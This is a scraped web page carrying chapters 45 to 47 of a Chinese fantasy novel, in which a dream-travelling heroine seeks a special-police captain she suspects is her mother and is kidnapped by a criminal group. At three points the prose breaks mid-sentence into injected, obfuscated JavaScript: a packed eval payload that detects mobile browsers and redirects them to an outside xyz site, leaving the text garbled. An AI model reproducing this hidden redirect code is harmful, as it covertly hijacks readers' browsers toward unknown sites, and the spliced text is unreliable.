机不可失,唱鹿骤然握住水管,脚朝地上一蹬,借力让身子腾空,两条腿往上扬起,觑准歹徒的脑袋,狠狠绞上对方的脖颈。 紧接着松开手,凭腿上的力量将上半身带起来,手铐顺着水管往上刮,因为摩擦力太强还溅出好几缕火花。 她现在整个人都在半空中,两条腿已经将歹徒绞得面色通红。 可歹徒也不是吃素的。 他身强体壮,意识到唱鹿是想用全身重量把他压制时,立即放开碍手的冲锋枪,反手掰住她的膝盖,使出吃奶的力气猛地一个转身。 唱鹿双手还拷在水管上,腿又被他钳住。 这么一扭,手腕顿时剧痛无比,不看也知道肯定皮开肉绽了。 歹徒得势,想趁机把她砸到地上。 曲腿,弯腰,手臂还没往下甩,一黑一白两道光芒同时穿透了他的心脏和眉心。 人还站着,已经死了。 尸体很快失去重心,直挺挺地往下倒。 唱鹿及时松开腿,稳稳落地。 入目先是两颗飘到面前的黑白光球,随着光球飞向门口,她看到一个女人。 女人穿着联邦特警的制服。 身上没带任何武器,唯有两颗的小球环绕周身。 重点在于,她有一头浅妃色的长发。 - 所有受害者被转移到一楼大厅。 验证登记完身份信息,便有医生上来做健康检查和心理评估。 唱鹿的双手被勒出了两道深痕,血流不止。 医生给她打了只愈合剂,但效果不佳,还得用纱布包扎起来。 “医生,我能问你个问题吗?”唱鹿的眼睛时不时往九点钟方向瞟,只差黏到那个女人身上去。 “当然。”医生很和气。 “把我们救出来的那位是……?” 医生也回头望了眼,脸上挂着笑,“她是联邦第一分局的特警大队长,封岚。也是这次救援行动的执行人。” 封岚。 唱鹿不断默念这个名字,直到完全铭刻于心。 “我还有一个问题,她身边的两个小球,是联邦的新型武器吗?”当然知道不是,总不能直接问吧。 “那是赐福,第一次见到的都会好奇。”医生露出艳羡的神色,“这年头,能成为受赐者的,联邦都会把你当国宝一样供起来。” 现在是国宝。 再过二十几个纪年,就变成烂大街的玩意儿了。 医生的话匣子一打开就止不住,“幸亏有赐福,这次救援行动才能这么顺利。你看这里的人质,只有少部分是我们伽马地区的公民,其他都是神都地区和福音地区来的,但凡在过程中出点问题,就会升级成外交事件。这么一个烫手山芋,要不是封队长站出来……” 意识到说多了,医生尴尬一笑,“也要感谢你的英勇献身,拖住歹徒争取到救援时间。” 这种恭维的话,听听也就罢了。 唱鹿只觉得奇怪,为什么封岚的赐福后来会到苍镹手上? 是赠予,是传承,还是说…… 不管怎么样,现在最要紧的是找机会和封岚搭上话。 唱鹿起身要走,医生不解,“你去哪儿?” 她说:“我想亲口对封队长说声谢谢。” - 战斗一时爽,善后火葬场。 封岚对这句话深有感触。 随着清点数据一道道传过来,她的心情越来越沉重。 行动中损坏了多少桌椅,打破了多少灯带,掀翻了多少处人造景观,又有几堵墙遭了殃。 还有飞走的门,裂开的窗,炸开的水管,死掉的花…… 每一个数据,都是悄悄溜走的奖金。 最终金额统计出来了,封岚悬着的心也彻底死了。 很好,很好。 接下来三个周期的奖金都泡汤了。 封岚在赔偿清单上签完名,一名手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995544|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下过来说:“队长,有个人质……哦不,一位公民,说想亲口和您表达一下谢意。” “不必,让她回去吧。” “她死活不肯走,说什么都要见你一面,说声谢谢。” 封岚望向手下所指的方向。 一个女人,自然人,长得没有任何记忆点,但封岚记得她。 她是全场唯一一个被劫持时勇于反抗的人质,腿上功夫了得,差点把歹徒勒窒息。 要不是两手被铐着——封岚视线朝下,扫了眼女人的双手,已经包扎好了——指不定真能和歹徒单挑。 有本事,有胆识。 封岚很欣赏这种人,“让她过来吧。” 这头刚说完,另一头又有事来了。 巡警押着一名歹徒在她跟前停下,问道:“队长,这人怎么办?” 封岚原本打算把所有歹徒都就地正法的。 可这位一见到她就自动把身上的武器都卸了,还三下五除二把衣服也扒了,从头到脚只剩一条底裤。 见他如此识相,封岚特地留了个活口,以便事后带回局里审问,摸清楚整个恐怖袭击事情的来龙去脉。 “先带回局里关起来。” “好。” 封岚有点累,这点小事也要问她。 她抬起手揉揉眉心,以舒缓头疼的感觉。 往往变故就在松懈的一瞬间。 歹徒被巡警押着经过,猝不及防突然暴起。 他的后颈冒出许多卷曲的褐色毛发,上下蔓延覆盖了整张脸和两条胳膊。 眼瞳变成竖状,嘴里长出獠牙,十指改为利爪,轻轻松松挣脱镣铐,朝天发出一声怒吼。 上面是野兽,下面还是人。 模样很是诡异。 他左右各给一巴掌,将押解的巡警拍飞,又如同□□般匍匐在地,觑准封岚所在的方向,举着利爪挠上去。 封岚一个后撤步与之拉开距离,黑白光球浮现身侧,蓄势待发。 说时迟那时快。 一个女人从侧边跳了出来,挡在封岚前面。 锐利的兽爪由后背刺穿她的腹部,扎出五个血窟窿。 女人瞪大眼睛,直勾勾地望着封岚。 封岚下意识伸手去搂她。 刹那间闪过念头是不理解,平白无故为什么要冲出来挡,反而碍事。 可看清女人的样貌后,这个念头又转变了。 原来是她。 真是有点胆大妄为了。 而此时此刻,唱鹿满脑子只有一个想法: 梦里也真(脏话消音)疼啊! 她倒在封岚怀里,伸手摸了下小腹。 摸到外翻的皮肉和温热的血,血一碰到指尖就凉了。 体温骤降,视野模糊。 听力还清楚,听得出周遭的混乱。 有人在尖叫,有人在哭嚎,还有枪声不断。 要死了。 这次是真的要死了。 唱鹿突然觉得很对不起扶鸢。 这么痛,她肯定也感觉到了。 明明只有一次机会,结果就这么被她浪费了…… 愧疚过后,还有点愤恨。 为什么联邦没有记录这次事件的歹徒里有受赐者! 罢了。 联邦本就不能信。 唱鹿使劲抬起头,想要最后看一眼封岚的脸。 再看清楚一点。 封岚低着头,眼神很复杂。 有不解,也有惋惜,但更多是好奇。 唱鹿强忍着腹部的疼痛,举起手,想要去触摸封岚的脸。 却摸到她耳侧垂下的几缕头发。 熟悉的浅妃色,绸缎般的质感。 摸起来就像自己的头发。 她的眉毛、眼睛、鼻子,嘴巴。 越看越觉得像,至少有六成相似。 “你……是不是……” “什么?” 血气涌到喉头,唱鹿偏头呕出一大口血。 她两眼一黑,意识沉入无尽的深渊里。 45. 酒店 045. 唱鹿这一觉睡得很踏实。 上次能这么毫无戒备地入睡,还是从孤儿院逃出来后,被阿婆收养的那段时间。 有可靠的亲人在身边,不需要担心有什么意外发生,因此格外安心。 她许久不曾如此,苏醒时产生了一种恍若隔世的错觉。 以为回到了过去,还住在阿婆家里。 然而睁开眼,入目先是瓷白冷调的天花板。 再是一种浅蓝微光从墙缝溢出来,最后看清楚角落里的虚拟盆栽。 这种布置一般都是病房。 她眼睛往下斜。 纯白的被子,身上穿着病号服。 不就是病房吗! 可她不是死了吗? 梦中死亡,不应该直接醒来吗? 为什么会在…… “醒了?”身侧有人说话。 一扭头,封岚就坐在病床边的椅子上。 这嗓音清冷得让唱鹿联想起冰窟里垂下的棱锥。 透明、冷冽,暗藏锐利。 封岚在剥桔子。 先将肉瓣拆好,再仔细地挑掉上头的白丝。 见她盯着自己大半天说不出话来,封岚又问:“做梦了吗?” 唱鹿追着她的尾音答道:“没有梦见你。” 封岚两手一滞,“答非所问。” “呃,我的。” 如果身边有人睡着了,唱鹿就喜欢在对方醒来后提出三连问: 醒了? 做梦了吗? 有没有梦见我? 她不知道自己是怎么养成这种习惯。 打从记事起就有,保持到现在。 封岚继续剥桔子,唱鹿的视线落在她手上。 剥得很仔细,每一根白丝都要抽掉,使得肉瓣呈现出完整的橙黄才肯罢休。 封岚把剥好的一瓣递过来,唱鹿婉拒了,“果糖过敏,吃不了这个。你不会吗?” 封岚把桔瓣丢进嘴里,挑了下眉头。 很显然,她不会。 唱鹿暗想道: 看来我的果糖过敏是遗传自父辈。 封岚吃完桔子,用湿纸巾擦了擦手,说:“谢谢你救了我。” 提到这事,唱鹿盖在被子下的手挪向自己的腹部。 平整,光滑。 像没有受过伤。 “他们启动了最先进的医疗舱,只用五个小时就把你治好了。”封岚说。 “哦,那确实挺先进。” 这要是放在未来,半个小时就能痊愈。 五小时? 那肯定是致命伤,神仙都难救。 封岚又说:“你不该过来。如果你没有挡在我前面,我已经把那个人杀了。” 唱鹿:“……” 如果换作别人对她说这种话,唱鹿早已经脏话全家桶伺候了。 但这是封岚。 可能是她的…… 唱鹿选择原谅,并转移话题,“那个人呢?” “没死,带回局里了,伊莱莎教授对他很感兴趣。” 后面这句大概只是顺嘴一提,却引起了唱鹿的注意。 伊莱莎教授。 上次听到这个名字是从唐与口中,她说这位教授正在研究魔方。 由此可见,伊莱莎教授已经为联邦至少工作了二十七个纪年。 按照正常入职年龄推断,这位教授在正常的时间线上至少接近五十岁了吧? “你也有兴趣?” “没有,我在想别的事。”唱鹿连忙否认,“对了,我能问你个问题吗?” 封岚的表情没有大变化,“嗯。” “你有对象吗?”唱鹿真的很想知道,急切地想知道,“男朋友?” 一语既出,封岚原本从容的神色变得有些拧巴。 两人相识不到一天,关系还没亲密到能过问私密的程度 唱鹿知道不妥,可不问不行。 费尽心思找她不就是为了这件事吗! 好在唱鹿有个合情合理的解释,“不瞒你说,我其实是婚介公司的。我身上还带着工作证明呢……哎,我的工作证呢?” 换了身衣服,身上的东西自然也没了。 封岚不紧不慢地拉开床头柜的抽屉,拿出通讯器、工作证和钥匙。 她看了眼工作证,“沈青桐?” 唱鹿反应得很快,“正是在下。” 封岚把东西都还给她,“你们现在做业绩都这么见缝插针吗?” “生活所迫嘛。”唱鹿张口就来,“我今天去跨境贸易中心大楼也是为了追客户,再不努力点,这个月的奖金就困难咯……” 不提奖金还好。 一提奖金,封岚露出了痛苦的表情。 唱鹿丝毫未觉,“你有吗?有对象吗?” 封岚:“没有。” “噢。” 没有也正常。 她出生于AC470纪年,现在是AC464纪年。 中间隔了六个纪年呢! 六个纪年的时间,完全足够她的母亲和她的对象从相识到相恋再到结婚,最后把她生下来了。 可既然要生下她,为什么要把她丢在孤儿院呢。 不想要了? 还是…… 唱鹿神游在外,封岚一句话把她拽了回来,“你饿不饿,要不要去吃晚饭?” 闻言,唱鹿瞥向窗外。 天边的晚霞缱绻,树荫葱葱间落着将褪未褪的余晖。 确实到饭点了。 “好啊。” “走吧,我请客。” - 联邦第一分局,职员食堂。 唱鹿和封岚并肩站在点餐窗口前,异口同声道:“来碗牛肉盖饭,不要放葱花。” 没想到点了一样的餐,还提了一模一样的要求。 封岚说:“我们口味挺相似。” 唱鹿赔笑道:“是哈,真没想到。” 毕竟是母女,能不像吗。 等了五分钟,两碗热腾腾的牛肉盖饭出锅了。 两人找了个靠窗的空位,面对面坐下。 桌上有各种调味品。 先把牛肉分到一侧,往白米饭上加几滴酱油,再撒点白芝麻,最后简单拌一下。 两个人的动作意外地同步。 封岚看似不动声色,语气持续降温,“你盯着我很久了?还是说,有人让你盯着我?” 唱鹿心下一紧,但表情控制得很好,没有暴露心迹,“你知道,我是婚介公司的,如果客户有想要了解的对象,我自然会多加留意。业绩嘛,都是从这些细节上挤出来的。” 封岚点头,“合情合理。” 唱鹿悄悄松了口气。 可封岚又说:“但你不是婚介公司的。工作证是假的,名字倒是真的。我查过你,你是还不说实话吗?” 唱鹿:“……” 好好好,好你个庸医。 等这场梦结束,她也要投诉差评! 封岚停箸收筷,十指交错,摆在餐桌边缘。 她直视唱鹿,眼神带着一种早已窥破真相的压迫感。 “首先,我没有结婚的打算,这辈子都没有。” “其次,上个周期联邦摸排过伽马地区内所有存在伪造身份的公民。沈青桐,你是其中之一。” “最后,今天早上我在刺鲸招募现场见过你。可一转眼,你又跑到了跨境贸易中心大楼。我始终没想明白,你行动逻辑到底是什么?” 一通分析说明把唱鹿能找的借口全都堵死了。 她比“沈青桐”还要了解沈青桐。 “沈青桐”无话可说。 封岚没打算轻易放过她,目不转睛地盯着。 等一个解释。 唱鹿尬笑,“我有这么显眼吗?” “不显眼。”封岚无情道,“但你是从联邦大学新兴科技系毕业的高材生,分局科研部正缺人手,伊莱莎教授打算给你发聘请函。” “是吗,哈哈。” 唱鹿偷偷在心底骂了句脏话。 怎么走到哪里都能被联邦的人看上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004775|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她上辈子得罪过联邦是吗? 封岚问:“你有意向加入联邦吗?” 这个问题很难回答,她不知道沈青桐本人到底是怎么想的。 是与否,都可能改变原有的历史走向,让这个梦境的底层逻辑崩塌。 最好的方法就是不答,直接规避。 “我回去考虑一下,过段时间再给你答复。” “好,我等你。” * 晚七点整。 唱鹿和扶鸢在“未央阁”门口汇合。 AC464纪年,未央阁还不存在。 在这片未来将会建起一栋五层阁楼的地皮上,目前是个无人问津的小公园。 时间尚早,两人坐在铁皮秋千上,快速交换了情报。 唱鹿离开后,扶鸢继续参与刺鲸招募。 她通过了海选和初选,并在酒店顶楼见到了刺鲸的两位首领。 “副首名叫铁峰,男,自然人,接近三十岁。人如其名,高得像座山峰,一身腱子肉,看起来很不好惹,实际上脾气不错,甚至可以说耳根子有点软。” “至于刺鲸的首领,全程没出过声,从头到脚包的严严实实,戴了伪装面具,看不清模样,分不出是女是男。比你我都高,至少有一米七五以上,体型标准,轮廓上能看得出是有肌肉的类型。” “至于风铃……暂时没有消息。” 刺鲸果然谨慎。 即便是对外公开招募成员,露面的也只有副首铁峰。 至于那位首领,见不到真容又不出声,十有八九是假扮的。 “你那边呢?” “她叫封岚,是联邦第一分局的特警大队长。目前交流下来,没有任何证据可以直接证明她和我有血缘关系。”唱鹿停顿了一下,“但我的直觉告诉我,她一定和我有关。” 扶鸢没有说话,她并不知道唱鹿这一趟行动中的细节。 光凭直觉,没有实证……只能说她不认同。 唱鹿尽量言简意赅,将在跨境贸易中心大楼发生的事说了一遍,“抱歉,这次是我太冒进,下次一定注意。” “你不用道歉,我只是觉得痛,并没有真的受伤。”扶鸢抬起头,望着穹顶渐渐褪去的晚霞,“我今天早上不也是这样吗?以为看到了风铃,哪怕只是一个有点相似的影子,我都忍不住追了过去。” 两人安静坐着。 秋千前后轻轻地摇晃,摇到黄昏退场,夜色弥漫。 小公园的路灯亮起,暖黄的光圈笼住秋千上的她们。 接下来该往哪个方向调查? 又该调查些什么呢? “要不,我们先找个酒店入住吧?” “同意。” - 今晚下榻的地方名叫圣埃斯特大酒店。 根据前台的宣传册介绍,这家酒店是一位名叫哈尔的资本家于AC450纪年在此创建。 尖肋拱顶,花窗玻璃。 风格依照福音地区,主打一个复古华丽。 登记入住时,酒店大厅正在播放今日的联邦晚间新闻。 新闻主持人一脸严肃,报道着今天中午的跨境贸易中心大楼恐怖袭击事件,并强调除歹徒以外,无人伤亡。 唱鹿对此嗤之以鼻。 亡的确是没亡。 可伤,她不就受伤了?还得在那个一点也不先进的医疗舱里躺上五个小时才能治愈。 敢情她不算人,不能列入其中是吧? 呵呵,联邦真是会做表面功夫。 几十年前就知道搞假新闻诓人。 新闻播完了,唱鹿也把注意力从屏幕上挪开。 扶鸢手里拿着房卡,见她紧锁的眉头还不松开,说:“你每次陷入沉思时,会皱眉,垂眼,直勾勾盯着一个地方。如果事情很棘手,你还会咬指甲,像现在这样。” 正在咬指甲的唱鹿:“……” 她默默放下大拇指,表情却不见松懈。 AC464纪年,8月15日。 她隐约记得历史上的这一天好像还发生过一件大事。 46. 梦醒 046. 想不起来,心里总觉得不安。 一进房,唱鹿便走到桌前,扯下几张便签纸,把脑子里能想起来的所有东西全都倒出来。 这一倒,反而倒出来不少其他同月不同日的事。 把写完的便签纸按照时间顺序排列,竟然占满了半张单人床。 可最重要的那件事还是没浮出水面。 唱鹿望着空出的一格,发呆到扶鸢洗完澡出来。 扶鸢站在床尾,一眼看出半床便签纸中唯一个空缺,“还没想出来?” 唱鹿拽起被子,那些便签纸随即往后一扬,雪花片似的纷纷往地上落。 没想出来,不高兴。 睡了。 难得发小孩子脾气,扶鸢一笑。 她吹干头发,也上了床。 感应到屋内的人都没了动作,大灯自动熄灭,只留下一盏通往卫生间的小灯。 说来也奇怪。 环境的光线一黯,人的思维反而清晰起来。 唱鹿蜷缩在被子里,露出两只明亮有神的眼睛。 她盯着玻璃花窗,忽然问:“扶鸢,这家酒店全名叫什么?” 隔壁单人床有蠕动翻身的声音。 扶鸢想了想,说:“圣埃斯特大酒店。” “在今天之前,我从没听说过这个名字。你呢?” “我也没有印象。” 是了,这便是问题所在。 如果在正常的时间线上存在这么一间主打福音地区风格的酒店,那必然如同未央阁,扬名千里。 既然没有,说明它在未来不存在。 不存在是生意不好关门大吉,还是因为某种不可控的原因不得不关闭? 百分之八十的概率是后者。 因为AC464纪年相当不太平,光是一个八月份,唱鹿就能默写出那么多被联邦明文记载的大事件,更何况一整年…… 见微知著,以小观大。 她堵住的思路在此时彻底扭转了过来,不再纠结于月份,改为从年份上看。 AC464纪年。 联邦拓展了两条通向福音地区的飞空贸易路线,以增进地区间的友好合作关系。 同年,民间组织血蟒的号召力不断壮大,甚至有部分居民意图拥立血蟒为新的执政机构。为了制衡这股民间势力,联邦与刺鲸达成短期合作协议,在各取所需的同时,齐力压制血蟒的后续发展。 又是同年夏末。 血蟒指派杀手潜入某酒店,于深夜时分刺杀了在该酒店下榻的福音地区的三名外交官…… 唱鹿猛然起身。 想起来了,就是这件事! 圣埃斯特大酒店,正是案发地点。 事发之后,由于圣埃斯特大酒店无法提供有效的监控录像,联邦对其进行了严格的安全审核。 结果发现酒店金玉其外败絮其中,绝大部分摄像头都是摆设,最基础的消防系统也不过关。 最终,圣埃斯特大酒店被勒令关闭。 其创建者兼经营者哈尔需对本次刺杀事件负全责。 次年,在经过联邦法庭的公开审判后,哈尔被遣送回福音地区,有生之年都不得再进入伽马地区。 唱鹿正要向扶鸢说明。 意外发生了。 楼上先是响起连续三下枪声,紧接着是尖叫声和慌乱逃窜的脚步声。 混乱之际,有人破窗而逃。 唱鹿当即掀被下床,还没开窗,便见一个人影从花玻璃外掠过。 影子速度极快,像只鸟一样俯冲下去。 她连忙推开窗户往下看。 那人穿夜行服,戴伪装面具,腰间挂着一根从上方悬下来的细钢丝,正沿着酒店外部的拱形结构往下滑。 她们的房间在三楼,不算高。 唱鹿不假思索地翻窗而出。 福音地区的建筑风格主打华丽繁复。 拱形多,凸出来的尖顶也不少。 唱鹿没有负担,左跳右攀,还能借着柱子把自己甩出去,一下子就拉近了和疑犯的距离。 疑犯身上挂着细钢丝,这反而阻碍了他的行动。 眼见离得近了,唱鹿右手成爪,直抓向疑犯的伪装面具。 疑犯连忙勒紧细钢丝,一个后下腰,柔软的腰肢折成了四十五度角,抬腿上踢。 唱鹿小臂交错成叉,硬生生吃下这一记踢腿。 好家伙,力道不小! 若不是她背后抵着一根石柱,可真要被踹成空中飞人。 疑犯不想和她纠缠,抓到间隙,往下接连几个空翻,成功着地后切断细钢丝。 断开的细钢丝咻地往上缩,在空中甩出好几道重音。 未免被它伤到,唱鹿不得不放慢下降的速度。 待到安全落地,酒店齐人高的玫瑰花墙后传来摩托引擎的咆哮。 疑犯开车逃远了。 没追上,唱鹿有些懊恼。 早知道就把柱子掰下来当标枪使了。 以她的准度,必然能把疑犯钉在地上动弹不得。 不行不行,历史上疑犯并没有被抓住。 当时既调取不到有用的监控,也没有目击证人,到底是谁杀了福音地区的外交官,至今还是个谜团。 所谓“血蟒指派杀手”不过是联邦的一面之词,是外交压力下不得已被推出来背锅的倒霉蛋罢了,也成了后来联邦清剿血蟒最合理的借口。 要论谁在此事中获益最大。 绝对不是联邦,而是……刺鲸。 在联邦的记载中,这事属于外交事件,帮扶刺鲸则是内务行动。 很少有人会把看似八竿子打不着的两件事联想到一起。 又因为联邦惯有的春秋笔法。 大部分人都认为是血蟒刺杀外交官在先,联邦决定帮扶刺鲸对抗血蟒在后。 而事实真相,往往隐藏在时间洪流之后。 “小心!” 随着扶鸢的出声提醒,一发细小的暗器朝唱鹿飞射而来。 不,目标不是她。 路径偏移得厉害,她都不用挪步就能躲过去。 暗器真正想击中的是扶鸢! 扶鸢伏低躲避的动作变得极快,唱鹿也下意识掏出口袋里工作证,预判好暗器的飞行弹道,抛了出去。 工作证方才脱手,身侧一声闷响。 扶鸢倒下了。 该死,竟然是双重夹击! 唱鹿急忙扯下一朵玫瑰花,用赐福把花瓣变成飞镖。 她摘下一瓣射向从背后偷袭扶鸢的蒙面人。 同时,一颗黑色的光球如子弹般精准地将花瓣击穿! 这是……! 唱鹿还未弄清局势,后脖颈有什么东西扎了进来。 那应该是一根强效麻醉针。 她能感觉到僵麻飞速攥住自己的大脑,须臾间双臂也动不了了。 平生第一次吃瘪,还是在一场梦里。 唱鹿怄得快要吐血,赶在两条腿还没失去知觉前,僵硬地转过身去看那是谁。 必定要看仔细了,牢记于心。 如果二十七个纪年后这人还活着,她也要让他尝尝被人麻翻的滋味。 给她扎针的男人高壮如一座山。 他相貌普通,五官憨厚。可皮肤黝黑,肌肉鼓胀,倒是显得霸道凶狠。 男人竟然还点不好意思,“实在对不住,我下手有点重。” 铁峰……? 果然是刺鲸!果然…… 唱鹿瘫倒在草地上。 因为麻痹,她感觉不到青草的刺剌,也没有泥土的潮湿。 她使劲扭过头,想看看扶鸢。 扶鸢被铁棍敲了后脑勺,彻底昏迷过去。 那该死的蒙面袭击犯正在把一个麻袋套到她的脑袋上。 唱鹿恨得能把后槽牙咬出血。 她使尽仅有的力气,伸手去够扶鸢。 手指颤颤巍巍,好像离得很近,偏又碰不到。 “别着急嘛。”拿着铁棍的蒙面人说,听声音也是个男的。 “你和她,今晚都得上路。” - 唱鹿不知道原来在梦里,还能做梦。 梦见从一座山上开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012191|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑,跑过草原、森林,跑进大海,又跑到天上。 天上好冷,她扯了朵云盖上。 然后就醒了。 冷是真的冷,天刚大亮时最为阴冷。 感觉就像一盆冷水泼在身上,冻得她瑟瑟发抖。 她的双手被捆,麻袋套头。 大抵是被关在车载货箱里,有人一脚踩进来,货箱因这重量往下压了一点。 捆在手上的绳子被扯了下,那人说:“乖乖跟我走,保证你死得舒服点。” 听声音是拿铁棍那男的。 唱鹿努力起身,“我朋友呢!” 她还活着,说明扶鸢也还活着。 可扶鸢在哪里? 这么大一个货箱,只有她一个人。 “死到临头还关心别人,少废话,走!” 铁棍男使劲拽绳子,唱鹿被扯得踉跄,不得不跟着走。 先下车,再爬坡,爬了很久。 爬到一个光秃秃的山坡上,风更大了,吹得人直起鸡皮疙瘩。 铁棍男粗暴地扯开套头的麻袋。 强光直刺而来,唱鹿眯起眼睛。 太阳升起来了。 迎着日出的第一缕光,瞧见山坡最顶端有一棵树。 树干是弯的,夏末时节,树梢还开着花。 白色的花,一朵一朵往下压,风一吹就往外飘,如同撒出去的细盐。 这景象很美,值得静心欣赏。 可前提条件是唱鹿没有被绑,而树下也没有站着一个黑衣戴面具的人。 “要杀了吗?”铁棍蒙面男问站在树下的那人。 听语气,这是他的头儿。 “不用。”伪装面具过滤了真实嗓音,外放出来的听不出性别,“她不知道我是谁。” “副首忘了戴面具,她瞅见他脸了。” “铁峰也真是……”黑衣人叹气,“解决了吧。” “我知道你是谁!”唱鹿恶狠狠地剜向树下的人,“你是封岚,联邦第一分局的特警大队长,也是刺鲸的首领!” 铁棍男明显慌了。 蒙着脸看不出表情,但反复左右张望的肢体语言出卖了他。 树下的人倒是镇定。 她一动不动,足有半分钟,才缓缓摘下伪装面具。 浅妃色的长发在风中飞扬,和飘洒而去的白花交缠在一起。 封岚眼含笑意,将花瓣从发间取下,拈在指尖。 “你很聪明,沈青桐。”封岚放开手,让飞花离去,“但太过聪明的人,一般都没有好下场。” 昨天还觉得这张脸亲昵,现在唱鹿只恨不能把她千刀万剐,“扶鸢呢?” 封岚反问:“谁?” 想起梦里的扶鸢不叫扶鸢,唱鹿纠正道:“慕容发财,她人呢!” 封岚没有回答。 她摆摆手,语气像是准备掐死一只蚂蚁那么简单,“杀了吧。” 铁棍男立即拔枪上膛。 枪口抵住唱鹿的脑袋,食指已然搭在扳机上。 完了,这次是真的完了。 唱鹿脑海中一片炸白,有太多事情还没弄清楚,怎么可以就这么结束! “我要见风铃!” “你一定认识她,不然我不会来到这里!”她愈发笃定,“风铃在哪儿?告诉我!” 封岚的表情有了微妙的变化。 三分惊讶,七分难以置信。 “你认识风铃?” 一刹那,梦境开始坍塌。 狂风四起,一切事物都变得模糊。 不行! 她还没问清楚,不能结束! 唱鹿撒腿跑去。 她跌跌撞撞,踩到石头摔倒在地,两手又被绑着一时爬不起来,只能在斜坡上蹭着前行。 树没了。 花没了。 封岚只剩一个行将消散的影子。 “封岚——!” 她竭尽全力大喊。 “我一定会找到你!一定会!” 那道浅妃色在风中摇曳,有一把清冷的嗓音答说: “好,我等你。” 47. 晚安 047. [主线任务:寻找风铃。] [任务进度:10%] [支线任务:调查刺鲸。] [任务进度:50%] [恭喜你,当前任务略有进展,请再接再厉。] * 游隼这三天过得很舒适。 因为唱鹿和扶鸢对待俘虏真可谓是人性化。 除了不能走出这个阴暗的小平房外,想要什么,基本都能得到满足。 有吃有喝有玩,每天还有母亲的最新消息,乐得自在。 今晚他已经安排好了。 先把手上的游戏打通关,饿了就吃零食,扶鸢买了各式各样的小零食,不吃白不吃。 玩累了,再看最新上架的电影,边听边睡。 游戏才过一关,门开了。 来人的力度极大,吓了他一大跳,搁臂弯的薯片洒出来一半。 唱鹿阴沉着脸,缓步走进地下室。 游隼几不可察地往她身后扫一眼。 她独自一人,扶鸢没有跟来。 几天下来,游隼也算摸清楚了。 唱鹿和扶鸢这对组合,掌控话语权的是唱鹿。 唱鹿属于那种会好声好气和你说话,但如若惹毛了她,她直接物理超度你。 扶鸢则相反,面冷心不冷,看似难搞,实际好说话得多。 比起唱鹿,游隼更希望来的是扶鸢。 唱鹿明显心情不佳,游隼默默做过心理建设。 然后壮起胆子,喊了句:“鹿姐,您怎么来了?” 唱鹿面无表情,“我年纪没你大,别喊我姐。” 游隼尬笑,“噢。” 我为鱼肉,你为砧板。 不喊姐难道还喊妹啊? 当然,他没敢把心里话说出来,小命要紧。 “就您一个人?” “嗯。” 唱鹿从犄角旮旯里拎出一把折叠椅,拖到茶几前,正对着坐在沙发上的游隼,再将折叠椅打开,结结实实地杵地,坐上去。 坐稳,又从腰间掏出一把微型手枪,枪口朝向游隼,摆在茶几上。 茶几是玻璃做的。 手枪落下来时发出啪的一声响。 游隼一抖,后背的汗毛已经立起来了,“咱们能不能有话好好说,别动不动就——” 他盯着那黑黢黢的枪口。 真怕突然走火,给他一梭子。 “行。”唱鹿嘴上答应,还是没把手枪收回去,“我问你答,说实话。” 游隼忙不迭答道:“肯定实话。” “第一个问题,刺鲸的首领是谁?” 游隼本来涎着脸,一听到是问这件事,表情瞬间换成了为难。 “我、我不知道啊!我自打进入刺鲸就没见过首领。我问过我爸,我爸说首领一向神龙见首不见尾,就连他都没见过……” 一边说,一边偷偷观察着唱鹿的表情,每一句都小心翼翼。 意料之中的回答,唱鹿又问:“第二个问题,你知道封岚是谁吗?” 有了上次的教训,游隼回答之前先反问道:“这是个人吧?” 见唱鹿点头,方才说:“不认识,听都没听过。” 唱鹿了然。 看来刺鲸首领的真实身份只有少数几个心腹才知道。 “那你总该认识铁峰吧?” 这回游隼就没答得那么快了。 他犹豫片刻,才吞吞吐吐道:“见过一次,父亲带我见的。” 唱鹿猜到他的小心思,直接挑明道:“铁峰是刺鲸的副首领,也是刺鲸曾对外公开露面过的最高层角色。对吧?” 既然人家都查清楚了,他也没什么好隐瞒。 游隼坦白道:“是。组织里大小事务,都是副首在做决策。听说首领已经有二十几个纪年没露过脸了,有人说首领已经死了,也有人说首领是被副首囚禁起来了,总之各种传言都有。” “二十几个纪年没露过脸。”唱鹿重复这句话,“意思是以前出来过?” “以前——先说好,我也只是听说啊!——以前至少出现过,蒙着脸,不知道是女是男,究竟长什么样。” “他们怎么确定那就是首领,可能是其他人假扮的呢?” 游隼耸耸肩,“组织里的事都是传言,找不到实证。我听到的就是这样,再多我也答不出来了。” 这句应该不是谎话。 游隼虽是刺鲸的程序员,但就之前审问的结果来看,他只负责对层级之下成员以及组织VIP会员的资料录入等工作。 那些超过层级资料,向来是重重上锁,光靠一个人破译不了。 